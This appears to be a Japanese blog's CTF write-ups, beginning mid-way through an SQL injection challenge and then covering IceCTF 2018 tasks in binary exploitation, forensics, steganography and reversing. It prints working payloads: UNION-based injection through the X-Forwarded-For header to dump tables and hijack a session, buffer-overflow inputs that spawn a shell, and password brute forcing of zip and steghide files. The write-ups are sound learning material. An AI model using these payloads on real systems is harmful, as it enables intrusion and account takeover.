HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Fri, 08 Feb 2019 18:30:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: PHPSESSID=6fr151tpi624c0bcqh5ktvmao6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Content-Length: 2141 SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> ...
たぶんXXX.XXX.XXX.XXX
(自宅のIPアドレス)のところを操作してSQLインジェクションするんだろうなあという目星をつける.
IPアドレスの部分を偽装したいなあと考えた時に,どういう風にIPアドレスを受け取るかを調べたところ,X-Forwarded-For
というヘッダの値で受け取れるらしい.
ということで,これからX-Forwarded-For
ヘッダの値を変えてリクエストしまくるので,BurpSuiteでリクエストをRepeaterで何度も送れるようにする.
※リクエストを右クリックして,画像の通りSend to Repeater
をクリックすれば,上にあるRepeaterタブがオレンジ色に光るのでRepeaterタブをクリックする.
※↓Repeaterタブ↓※
Repeaterタブが開けたら,とりあえずRequest画面にX-Forwarded-For: 8.8.8.8
を追加して,GoボタンをクリックしてResponse画面をみると,ちゃんと偽装できていることがわかる.
※8.8.8.8
のあと(リクエストの最終行)に2行分の改行が入っていないと,うまくリクエストを投げられないので,リクエストがなかなか返ってこないときはちゃんと2行分の改行が入っているかを確認する.
ここで,この問題の最終目標は何かを考えてみると,問題文からして,Maria
というユーザになりすまして,なんとかflagを閲覧すること,なのでひとまずデータベースからMaria
というユーザの情報を探し出すことを目標とする.
現在わかっていることとしては,SELECT * FROM nxf8_sessions where ip_address = 'XXX.XXX.XXX.XXX'
というSQLから,nxf8_sessions
テーブルにip_address
というカラムがあること,である.
とりあえず,nxf8_sessions
テーブルの情報を探していくために,SELECT *
でいくつのカラムを参照しているのかを,UNION句で探していく.
手始めに,union 1;--
としてみると,下記のように左のSELECT文とカラムの数が違うよ!というエラーが返される.
リクエスト: X-Forwarded-For: ' union select 1;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1;--' エラー出力: Error : HY000 1 SELECTs to the left and right of UNION do not have the same number of result columns
ということで,エラーが出なくなるまで,1を付け足していくと,4つめでエラーが出なくなったので,nxf8_sessionsテーブルは,4つのカラムを持つということがわかった.
リクエスト: X-Forwarded-For: ' union select 1,1,1,1;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,1;--'
ここで偶然にもPHPSESSID=
の値にUNION句の最後のカラムの値がセットされることに気づいた(さっきまでdeleted
だったのが,UNION句によって1
になっていた).
例えば,下記のようなリクエストを送ると,下記のような値が返ってくる.
リクエスト: X-Forwarded-For: ' union select 1,1,1,"test";-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,"test";--' PHPSESSID値: Set-Cookie: PHPSESSID=test; expires=Fri, 08-Feb-2019 20:08:55 GMT;
このことを利用して,UNION句のSELECT文で指定する4つめのカラムに欲しい情報を流し込むようにしていく. とりあえず,nxf8_sessionsテーブルが4つのカラムを持っていることと,任意の値を出力できること,が確認できた. また,エラー文からして今回の問題では,SQLiteを使っているようなので,sqlite_masterテーブルにテーブル情報などが格納されていることから,次のようなSQL文でnxf8_sessionテーブルの情報を一気に抜き出す.
リクエスト: X-Forwarded-For: ' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,sql from sqlite_master where tbl_name='nxf8_sessions';--' PHPSESSID値: PHPSESSID=CREATE+TABLE+%22nxf8_sessions%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22user_id%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22ip_address%22+varchar%28255%29+NOT+NULL%2C%0A++++++++++++%22session_id%22+varchar%28255%29++NOT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 20:12:18 GMT; Max-Age=3600
URLエンコーディングされた結果をデコードすると下記の通りとなる.
このことから,ntf8_sessionsテーブルには,id,user_id,ip_address,session_idの4つのカラムが存在していることがわかった.
このことを先ほどわかったことと併せると,4つめのsession_idがそのまま,PHPSESSID=
の値に代入されていると予測できる.
CREATE TABLE "nxf8_sessions" ( "id" int(10) NOT NULL, "user_id" varchar(255) NOT NULL, "ip_address" varchar(255) NOT NULL, "session_id" varchar(255) NOT NULL )
ntf8_sessionsテーブルのカラムがわかったので,最後に次のようなSQL文のwhere id =
の部分を変えて有効なsession_idを探していく.
はじめに0を入れてみると,PHPSESSID値はdeleted
となっており,有効でない.
リクエスト: X-Forwarded-For: ' union select 1,1,1,session_id from nxf8_sessions where id = 0;-- 実行されたSQL: SELECT * FROM nxf8_sessions where ip_address = '' union select 1,1,1,session_id from nxf8_sessions where id = 0;--' PHPSESSID値: Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
値を変えていくと,id = 1
,2
,3
のとき,それぞれ有効なPHPSESSIDが返ってきた.
そのうち,id = 2
で返ってきたfd2030b53fc9a4f01e6dbe551db7ded390461968
をCookieにセットしたところ,flagが得られた.
Flag
aj9dhAdf4
おわりに
まったり解けたので楽しかった. 点数配分が微妙で, 200点より100点の方が難しかった. Saudi CTFとOman CTFもOnlineで出れるなら出たい.
IceCTF2018に参加したお話
はじめに
CTFtimeでみかけたIceCTFというものに参加したので、そこで解けた問題のwriteupを書きます。
目次
Binary Exploitation
Simple Overflow
問題ページに飛ぶと下記の画像のようなページが表示されます。 左側に概要と問題文、中央にアプリケーション、右側にアプリケーションのソースコードらしきものが表示されます。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> const char* FLAG = "<REDACTED>" void flag() { printf("FLAG: %s\n", FLAG); } void message(char *input) { SHOW ORIGINAL char buf[16] = "Hello World!Hell"; SHOW ORIGINAL int secret = -889275714; // 0xcafebabe strcpy(buf, input); printf("You said: %s\n", buf); if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); } } int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0; }
問題は5つあり、それぞれ下記の通りでした。
1. Hello world!
In the textbox in the middle, try entering Hello World!
. Observe which variable within the code takes the value.
Overflow! What happens if you write more than 16 characters into the buffer? Can you make the secret change?
Take control Can you make secret take the value
1633771873 (0x61616161)
. Note that strings are stored in ASCII, and in ASCII, character number0x61
isa
.Little endian In most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value
1633837924 (0x61626364)
?Escape from ASCII As you may see in the code, to get past the restrictions and retrieve the flag,
secret
needs to have a value of0xcafebabe
. However not all these characters are in ASCII! What will you do? それぞれ下記の通り入力するとフラグが得られました。Hello World!
Hello World!aaaaa
Hello World!aaaaaaaa
Hello World!aaaadcba
Hello World!aaaa\xbe\xba\xfe\xca
5問目でブラウザだとどうエスケープすればいいのか悩んだのですが、一緒に参加していたメンバーがシンプルにエスケープして、フラグを得られました。
Cave
問題ページに飛ぶと前問と同様に下記の画像のようなページが表示されます。
ソースコードからして、前問と同様にBoFの脆弱性を利用して、シェルを奪う問題のようなので、解析をします。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); } void message(char *input) { char buf[16]; strcpy(buf, input); printf("The cave echoes.. %s\n", buf); } int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0; }
この環境では普通にobjdump
やreadelf
、gdb
が使えるようなので、それらを使って解析をしました。
その結果、message
関数にてstrcpy
関数を読んだ直後のスタックの状態を見て見ると下記のようになっていました。
入力バッファの先頭から29バイト以降にリターンアドレスらしきものがあるので、そこをshell
関数のアドレスに変更できればshell
関数を呼び出すことができます。
(gdb) x/32wx 0xffffd6c0 0xffffd6c0: 0x41414141 0xffffd700 0xf7ffcd00 0x00040000 0xffffd6d0: 0x00000000 0x00000000 0xffffd6f8 0x080485c2 0xffffd6e0: 0xffffd8dc 0xffffd7a4 0xffffd7b0 0x080485a5 0xffffd6f0: 0xffffd710 0x00000000 0x00000000 0xf7e28286 0xffffd700: 0x00000002 0xf7fc3000 0x00000000 0xf7e28286 0xffffd710: 0x00000002 0xffffd7a4 0xffffd7b0 0x00000000 0xffffd720: 0x00000000 0x00000000 0xf7fc3000 0xf7ffdc0c 0xffffd730: 0xf7ffd000 0x00000000 0x00000002 0xf7fc3000
ということで、下記のようなペイロードでフラグを得られました。
[adversary ~/cave]$ ./shout `python -c 'print("A"*28+"\x0b\x85\x04\x08")'` The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA � sh-4.4$ ls flag.txt Makefile shout shout.c sh-4.4$ cat flag.txt IceCTF{i_dont_think_cavemen_overflowed_buffers}
Flag: IceCTF{i_dont_think_cavemen_overflowed_buffers}
Forensics
Modern Picasso
Description
Here's a rendition of some modern digital abstract art. Is it more than art though?
上のようなpicasso.gifが与えられます。 一枚一枚の画像を見ると、細かい点のようなものが少しずつうつっています。 ということで、pythonで分解して、andをとったらフラグが出てきました。
from PIL import Image, ImageSequence if __name__ == "__main__": im = Image.open("picasso.gif") frames = (frame.copy () for frame in ImageSequence.Iterator(im)) for i, f in enumerate(frames): name = 'p-{}.png'.format(i+1) f.save(name)
from cv2 import * if __name__ == "__main__": dst = imread('p-1.png') for i in range(2, 68): im = imread('p-'+str(i)+".png") dst = bitwise_and(im,dst) imwrite('output.png', dst)
Flag: IceCTF{wow_fast}
Hard Shells
Description
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
パスワードのかかったzipが与えられるので辞書攻撃でパスワードを探します。
# fcrackzip -u -D -p rockyou.txt hardshells.zip PASSWORD FOUND!!!!: pw == tacos # unzip hardshells.zip Archive: hardshells.zip creating: hardshells/ [hardshells.zip] hardshells/d password: inflating: hardshells/d # file hardshells/d hardshells/d: Minix filesystem, V1, 30 char names, 20 zones
パスワードはtacos
のようです。
中を見てみるとなにやら、Minix filesystem
なるものがありました。
The MINIX file system is the native file system of the MINIX operating system.
MINIX OS
のファイルシステムのようです。
# strings hardshells/d | head -10 dat~ IHDR IDATx vQ[m owWO ;1t' j{w]n tUiz5 rI_G &1|a
とりあえずstrings
コマンドで見てみると、IHDR
やIDAT
などの文字列が見えます。
つまり、このd
というファイルはpng
ファイルを含んでいることがわかります。
# binwalk hardshells/d DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 60457 0xEC29 Zlib compressed data, default compression
しかし、binwalk
コマンドで中を見てみても何もファイルが出てこないので、バイナリエディタでのぞいてみると、どうやらマジックナンバーが89 50 4E 47
ではなく、89 50 55 47
になっていることが確認できます。
ということで、55
の部分を4E
にしてあげて、ファイルを保存しなおし、再度binwalk
コマンドでextractすると、EC00.png
が出てきます。
# binwalk --dd="png" d DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 60416 0xEC00 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 60457 0xEC29 Zlib compressed data, default compression 184532 0x2D0D4 LZMA compressed data, properties: 0x76, dictionary size: 2097152 bytes, uncompressed size: 2640046703830451273 bytes 209144 0x330F8 LZMA compressed data, properties: 0x6C, dictionary size: 2097152 bytes, uncompressed size: 758602624453919817 bytes
しかしこれを開いてみても画像の上部しか表示されないため、exiftool
で情報をのぞいてみると、Warning
が出ていることがわかります。
# exiftool -v EC00 ExifToolVersion = 10.32 FileName = EC00 Directory = . FileSize = 5182464 FileModifyDate = 1536819835 FileAccessDate = 1536819845 FileInodeChangeDate = 1536819835 FilePermissions = 33188 FileType = PNG FileTypeExtension = PNG MIMEType = image/png PNG IHDR (13 bytes): + [BinaryData directory, 13 bytes] | ImageWidth = 1920 | ImageHeight = 1080 | BitDepth = 8 | ColorType = 6 | Compression = 0 | Filter = 0 | Interlace = 0 Warning = Bad CRC for IDAT chunk Warning = Invalid PNG chunk size
もう一度、バイナリエディタで見てみると、1つめのIDAT chunkのlengthが0x2000
バイトなのに対し、2つめのIDAT chunkまでのlengthが0x2400
バイトあることに気づきました。
初めはlengthが間違えているのかと思ったのですが、間にあるバイト列をざーっと見てみると、明らかにゴミのようなバイト列が混じっており、区切りのいいところまで選択してみるとちょうど0x400
バイト分ありました。
ということで、この0x400
バイト分と、png
ファイルの前後にあった0x00
のバイト列を全て消して画像として開いたところフラグが得られました。
Flag: IceCTF{look_away_i_am_hacking}
Lost in the Forest
Description
You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
fs
というディレクトリが与えられるので、ここからフラグを探していきます。
$ ls fs/ bin dev home media opt root sbin sys usr boot etc lib mnt proc run srv tmp var
tree
コマンドでディレクトリの全体を見てみると、hkr
というユーザーがいることがわかりました。
$ tree -a fs/ fs/ ... ├── home │ └── hkr │ ├── .bash_history │ ├── .bash_logout │ ├── .bash_profile │ ├── .bashrc │ ├── .profile │ ├── .ssh │ │ └── authorized_keys │ ├── Desktop │ │ └── clue.png │ ├── Documents │ ├── Downloads │ ├── Music │ ├── Pictures │ │ ├── ngsn2dhjtM1sulnzno1_500.jpg │ │ ├── ngw04qs2ah1r2r2hco1_500.jpg │ │ ├── ngw06omoVx1r2r2hco1_500.jpg ... │ │ ├── nrfh6lK0LK1t0ge0qo1_500.jpg │ │ ├── nrgufoLBGp1uxhpyfo1_1280.jpg │ │ └── nrjp4inobM1uvfeuho1_500.jpg │ ├── Videos │ └── hzpxbsklqvboyou ...
hkr
ユーザーのPictures
ディレクトリにたくさん画像が入っていたので、そこにヒントがあるのかなあと思ったのですが特に怪しいものはありませんでした。
つぎに.bash_history
を見てみると、なにやらダウンロードしたスクリプトでsecret
というファイルを処理した結果をhzpxbsklqvboyou
というファイルに流し込んでいました。
# cat fs/home/hkr/.bash_history ... wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf 5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp ... mv eRkjLlksZp tool.py ... ./tool.py ../secret > ../hzpxbsklqvboyou ... shred secret ...
ということで、スクリプトをtool.py
として保存して中を見ます。
# curl https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp > tool.py % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 364 100 364 0 0 1923 0 --:--:-- --:--:-- --:--:-- 1925
#!/usr/bin/python3 import sys import base64 def encode(filename): with open(filename, "r") as f: s = f.readline().strip() return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5 if __name__ == "__main__": print(encode(sys.argv[1]))
受け取ったファイルの中身をencode
関数でエンコードして出力するスクリプトのようなので、下記のようなスクリプトを書いてデコードするとフラグが出てきました。
#!/usr/bin/python3 import sys import base64 def decode(filename): with open(filename, "r") as f: enc = f.readline().strip() enc = enc[0:int(len(enc)/5)] s = base64.b64decode(enc[::-1].encode('utf-8')).decode('utf-8') l = [chr(ord(s[x])-([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x])for x in range(len(s))] return "".join(l) if __name__ == "__main__": print(decode(sys.argv[1]))
# python tool.py fs/home/hkr/hzpxbsklqvboyou IceCTF{good_ol_history_lesson}
Flag: IceCTF{good_ol_history_lesson}
Steganogprahy
Drumbone
Description
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
某Elliot氏の画像が与えられるので、とりあえずStegSolveでペラペラとビット抽出をしてみます。
すると、Blueの0ビット目のみを抽出した画像で、なにやらQRコードのようなドットが浮き上がってくるので、solved.bmp
としてこの画像を保存します。
ということで下記のスクリプトで整形すると、QRコードが得られました。
from PIL import Image if __name__ == "__main__": im = Image.open("solved.bmp") pix = im.load() qrcode = [] for i in range(0,29): line = [] for j in range(0,29): line.append('\033[48;5;255m \033[0m'*2 if sum(pix[1+6*i,1+6*j]) == 0 else ' '*2) print("".join(line)) qrcode.append(line)
Flag: IceCTF{Elliot_has_been_mapping_bits_all_day}
ちなみに、Drumbone
でggると、Blue Man Group
というアーティストの楽器の名前であることがわかります。
そのことから青の0ビット目を抽出すると予想するのが正攻法だったのかもしれません。
Hot or Not
DESCRIPTION
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
ファイルサイズのデカイ、以下のような画像(配布画像のスクリーンショット)が得られます。
拡大してみると、犬とホットドッグが87×87
個並んでいることがわかりました。
ここでチームメンバーの一人が、ドラマSilicon valley
のNotHotDog
が元ネタじゃない?と教えてくれたので、適当に画像を分割して、gitに落ちていた識別器を使って識別しました。(識別には90分ほどかかりました。)
000000010100001000000000100111111111111000111111000000000111111000000000000000000010000000100000000010000000100000111111111111000111111000000000111111000000000000010001000100000000001010100010000000000111111111111011111111100000000111111000000000000000000001000001000001100000000000000111111000001000000111000111000010111000101000000000000010000000010000000000000000000000111111000000000001111001111000000111111000000000000000001000000000100000000000000010000111111000110110101111000111001000111000000000000000010000001000001000000000010100100100000111111100111111111010111111100100000001000010000000100110000100000010100100000100100010111111000111111111110111111000000000100000010000000001000000000000000001001101010000000111111010111111111010111111000000000100001101011000010000000000001100001000001000000000111001000000111010000001000000100000010000010000000010001000000010000000000000100000000111010000000111010000100001010110100000000000000000010010010010000000000000000010000100111000001000111000100000000000001000100010000100011000000001100000000000000110010000001000111000111110111000000111010000000000010101000000000000010000000000000001001000000000011111000111010111010100111000000000010001100010000001000010000101000000000000011000000010111010111100111011100111000000000000011000100100001000000000000000100001000000000111111001111001000111111000111000111111001010000100000010100000010000000000000000000000111111000111100000111111000111000111111001110000000000000000010000000000000000000000000111111000111000001111111001111100111111000000000000000001001000000010100000100000001000111001111100111001111000111101111000111001000101001000110000000000000000000000000000010111000111011111010111010111000111000111000000000000000010000001001000000100000000000000111000111011111000111000111010111000111000000010010000000011000000000010000001100000101111000000111111010010101111000010000111010100000000000000000001000100000100000000001100111000100111111000000000111100000000111000000000000001000001000000000000000000001110000111000000111111000010000111000000000111000100001100000001100000010000000010111111111111001000010000111111000111111010000111111000111111010100000111000000000101000111111111111000001010000111111010111111100100111111000111111010001010111100000000000001111111111111101110000000111111000111111000000111111100111111001001000111000111111111111111111010001111000111111111010000000000000111111000111111010111000111000111111111111111111111101001111000111111111000001000000000111111000111111000111000111001111111111111111111111100000111101111111111000001000101100111111000111111010111000111000111000111111111100111111111001111100110111111111000010111111111000000111111000111111000111000111111111001111111111001111010011111111111001010111111111000010111111000111111011111001111111111010111111111000111100000111111111000000111111111000000111111000111111000111111111001111000000000000111111111000111111000101111000100111111111000010100000000000111111111000111000000000000111111111001111111000000111010001111111111001000000000000010111111111000111000011000000111111111000111111000011111010010111111111000000010000000000111000000111111111001111000111111010000111000111111111000000010100111001000111100000010111001110111111111001111000111111000000111010111111111001001000010111000010111010000101111000001111111111000111000111111000000111000111111111010000100000111000010111011000010111111111000010010111100100000111001111000000001111000111111000001111111111111111111000111111111001011000111000000100111000111000001000111000111111000000111111111111111111001111111111000000001111100001011111001111100000000111000111111000000111111111111111111001111000000000111111111111111000000010111000111111000111100001010100111111111001111111110111010000000111111111111111000000000111001111111000111000010000000111111111000111111011111000000100111111111111111000100000111010111111000111000000001010111111111000111111000111000111111000001111000000011111111111111111000000000000111000000111111000000111000000001010111111100000111101001000111111111111111000010000000111000010111111000100111001001001100111111101010111000010100111111111111111000000100000111000000111111100000111000001000111111111111111010111000111111111010111111111111111111111111111111100110010111011111110111111111111111000111100111111111000111111111111111111111111111111000000010111000111000111111111111111000111000111111111000111111111111111111111111111111001000000111101111000111111010000100101101100100111000111010101100111111111111111111110111111111111111000000111111000000000000010000001111001111000100000111111111111111111110111111111111111000100111111000000000000000000010111100111010010010111111111111111111000111111111111111010000000000111111111000111001111000000000111000101001000111010000111111100000000111000010111010010111111111000111001111000000000111000000000000111000001111111100000000111001010111000000111111111000111000111000000100111101000000000111010000111111000110100111000100111010001111111111000000111111111010000111111000000111011100000111000000111111111000000111101001111111111001000111111111000000111111000010111000010000111000000111111111000000111000010111111111000000111111111000000111111010001111000000000111000010111111111100000111111111000111001000111000111010111000111101000000000111111000111111111111111000100111100111111000111100100111000111000111000111000100000000111111000111111111111111000000111010111111100111001000111000111100111000111000000000011111111000111111111111111000000111000000000000001100000100000111010111111001000111000011000111000111001001101111100111010111000001000000000000000000111000111111000000111000000001111000111100100000111100111000111000010000000000100001010111000111111110000111000000000111000111000001000111000111000111010000010100000000000000111111010000111001111100111001000111111100111000111111100000111100010100000000000100000111111010100111010111000111000000111111000111000111111000000111000010001000000000000000111111000000111000111100111000000111111000111000111111100000111000000100100100001100000111111111111111111111111100111100000111000000000111111010000111000000000100010000101000111111111111111111111111000111000000111000000100111111000000111100000000010001111000001111111111111111111111111000111000001111001000100111111000000111000000001001010000100000111000111000111000111111010111111111111111111111111111111000000001000100000000000010000111000111000111001111111000111111111111111111111111111111000000000000000011010000010001111010111000111000111111000111111111111111111111111111111010000010000011000010000000000000111111000000000000000111000111111111111000111111100111111000000000001000100010000010000111111000000000000010111100111111111111001111111010111111000000000000100000000000000001111111010101000000100111001111111111111001111111100111111010110000000000100000000000000000111111111111111111111111000000111111000010000011000111111000000000000000000000001000000111111111111111111111111000000111111010000010000100111111000000000000001110000000100010111111111111111111111111100010111111000100001000000111111010000010000000000000110001000000111111111000001111000010111111000111001111111100111111000010011000010000000000100000000111111111010001111000001111111001111000111111000111111110000000000000010001010000000010111111111000001111000000111111010111111111111100111111000000000100000000100000000000000000111111111111000001111000111111111100111000001111000000000000000000000000000101000000001111111111111000000111010111111111000111000110111001000101000001000000000001000000000011111111111111000010111100111111111110111001011111000
そして、この結果をスクリプトで整形して出力するとQRコードが出てきました。
def reset_dict(n): cand = {} for i in range(n): cand[i] = 0 return cand if __name__ == "__main__": with open("l.txt", "r") as f: l = f.read() l = list(l[:-1]) cand = reset_dict(29) qr = [] x = y = n = 0 for i in range(len(l)): x = i%3 cand[n] += int(l[i]) if x == 2: n += 1 if n == 29: y += 1; n = 0 if y == 3: for j in range(29): if cand[j] > 4: qr.append(0) else: qr.append(1) cand = reset_dict(29) y = 0 x = y = 0 b_a = [0,1,2,3,4,5,6] b_b = [22,23,24,25,26,27,28] b_c = [0,6] b_d = [22,28] b_e = [2,3,4] b_f = [24,25,26] for i in range(len(qr)): if x in b_a+b_b and y in b_c: qr[i] = 0 if x in b_a and y in b_d: qr[i] = 0 if x in b_c and y in b_a+b_b: qr[i] = 0 if x in b_d and y in b_a: qr[i] = 0 if x in b_e+b_f and y in b_e: qr[i] = 0 if x in b_e and y in b_f: qr[i] = 0 x += 1 if x == 29: y += 1; x = 0 ans = [] for i in range(len(qr)): if qr[i] == 0: ans.append("\033[48;5;255m \033[0m"*2) else: ans.append("\033[48;5;0m \033[0m"*2) x = i+1 if x % 29 == 0: ans.append("\n") print("".join(ans))
Flag: IceCTF{h0td1gg1tyd0g}
Rabbit Hole
たまねぎの画像だけが与えられます。
青い空を見上げればいつもそこに白い猫
を使って調査をしていると、ステガノグラフィー->ビット抽出->ビット表示スクリーン
に下記のような文言が書いてありました。
[フォーマット解析情報] タイプ:JPEG 355 x 355 (0x163 x 0x163) 24bits 14311 (0x37E7)Byte Steghide適用可能性あり
Steghideを適用した可能性があるということなので、Steghideのパスフレーズを辞書攻撃で求めます。
# ./steg_brute.py -b -d password.lst -f rabbithole.jpg [i] Searching... 61%|################################################################################## | wrote extracted data to "rabbithole_flag.txt". [+] Information obtained with password: onion wsqxiyhn23zdi6ia
ということで、パスワードはonion
でwsqxiyhn23zdi6ia
という文字列がでてきました。
これがフラグかと思ったのですが、どうやら違うようでwsqxiyhn23zdi6ia.onion
というディープなウェブサイトにアクセスする必要があるようです。
アクセスすると以下のようなサイトを閲覧できます。
どうやら、この緑の文字の部分に何かが隠されているようです。
ということで、ソースコードをダウンロードし、html部分を除いたものをsrc
というファイルとして保存します。
最初は、この文字列はUTF-8でダブルエンコーディングされた文字列なのかなあと最後まで悩んでいたのですが、CTF終了後に聞く話によればbase65536
でエンコードされているとのことでした。
ということで、pip install base65536
して下記のスクリプトを実行します。
import base65536 if __name__ == "__main__": with open("src") as f: s = f.read().split()[0] somefile = base65536.decode(s) with open("somefile", "wb") as f: f.write(somefile)
# python dec.py # ls dec.py somefile src # file somefile somefile: Zip archive data, at least v1.0 to extract # unzip somefile Archive: somefile creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/ inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/titlepage.xhtml inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/stylesheet.css inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/cover.jpg creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/ inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/container.xml inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_36fa3f12.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_2213599d.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m54ba1c00.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/content.opf extracting: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/mimetype inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/toc.ncx inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m5fceb080.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_000.html
base65536
デコードしたものをファイルに出力すると、あら不思議zip
ファイルが出てきました。
# cd smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/ # grep -r IceCTF . ./tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html:down with The Post's Alice Rhee to explain. IceCTF{if_you_see_this_youve_breached_my_privacy} (Thomas LeGro/The
zip
ファイルを展開して、(もう真面目にフラグを探す気力もないので)脳死grep
コマンドを打ったらフラグが出てきました。
Flag: IceCTF{if_you_see_this_youve_breached_my_privacy}
Reverse Engineering
Description
This is a fancy looking lock, I wonder what would happen if you broke it open? Note: You can download the binary here
実行ファイルを実行してみると、Enter key:
でキーを入力しろと言われます。
$ ./lock This is a pesky lock.. do you think you can open it? Enter key: aaaa key failed
キーの判定場所を探します。
上の図から、strlen_920
という関数の返り値によって右(シェルをとれる)か、左(そのままexitする)かに分かれていることがわかります。
strlen_920
という関数の中を見てみると、関数中央から下で何らかの文字列をmemfrob
関数でエンコード(デコード)し、その結果と入力文字列が入っていると思われる変数をstrcmp
関数で比較していることがわかります。
ということで、(相変わらずradare2の静的解析の方法を調べていないため)gdbで動的解析を行います。
# gdb -q lock Reading symbols from lock...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x67f (gdb) run Starting program: /root/ctf/icectf/LockedOut/lock Breakpoint 1, 0x5655567f in main () (gdb) b *0x565556e9 Breakpoint 2 at 0x565556e9 (gdb) c Continuing. This is a pesky lock.. do you think you can open it? Enter key: AAAA Breakpoint 2, 0x565556e9 in main ()
まず、main
関数にブレークポイントを仕掛けて、さらに先ほどのradare2で見つけたstrlen_920
という関数にもブレークポイントを仕掛けて、その関数まで処理を進めます。
さらに、入力文字列となんらかの文字列を比較しているstrcmp
関数の手前まで処理を進めます。
(gdb) x/s $esi 0x56558980: "aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8"
strcmp
関数まで進めて、引数の文字列を調べてみると、上記のような文字列が出力されます。
これがキーではないかと、予想して、再度バイナリを実行してこの文字列を入力してみます。
[adversary ~/lockedout]$ ./lock This is a pesky lock.. do you think you can open it? Enter key: aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8 unlocked! sh-4.4$ ls flag.txt lock sh-4.4$ cat flag.txt IceCTF{you_m3ddling_k1ds}
Flag: IceCTF{you_m3ddling_k1ds}
おわりに
QRコードが出てきたときの快感を覚えてしまいました。 WebとCryptoにまったく手がでずつらい。精進したいです。